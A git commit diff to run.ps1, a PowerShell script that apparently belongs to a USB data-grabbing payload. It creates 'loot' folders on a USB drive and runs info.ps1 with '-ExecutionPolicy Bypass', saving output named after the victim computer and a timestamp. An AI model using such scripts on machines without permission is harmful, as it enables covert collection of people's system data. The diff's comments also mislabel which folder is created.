Update run.ps1
parent
251094c92e
commit
a32f333c4a
|
@ -18,12 +18,18 @@ if(!(Test-Path -Path $TARGETDIR )){
|
|||
New-Item -ItemType directory -Path $TARGETDIR
|
||||
}
|
||||
|
||||
#See if a info folder exist in loot folder. If not create one
|
||||
#See if a USB_PWNR folder exist in loot folder. If not create one
|
||||
$TARGETDIR = $backupDrive + "\loot\info"
|
||||
if(!(Test-Path -Path $TARGETDIR )){
|
||||
New-Item -ItemType directory -Path $TARGETDIR
|
||||
}
|
||||
|
||||
#See if a info folder exist in loot folder. If not create one
|
||||
$TARGETDIR = $backupDrive + "\loot\USB_PWNR"
|
||||
if(!(Test-Path -Path $TARGETDIR )){
|
||||
New-Item -ItemType directory -Path $TARGETDIR
|
||||
}
|
||||
|
||||
#Create a path that will be used to make the file
|
||||
$datetime = get-date -f yyyy-MM-dd_HH-mm
|
||||
$backupPath = $backupDrive + "\loot\info\" + $computerSystem.Name + " - " + $datetime + ".txt"
|
||||
|
@ -32,4 +38,4 @@ $backupPath = $backupDrive + "\loot\info\" + $computerSystem.Name + " - " + $dat
|
|||
$TARGETDIR = $MyInvocation.MyCommand.Path
|
||||
$TARGETDIR = $TARGETDIR -replace ".......$"
|
||||
cd $TARGETDIR
|
||||
PowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > $backupPath
|
||||
PowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > $backupPath
|
||||
|
|
Loading…
Reference in New Issue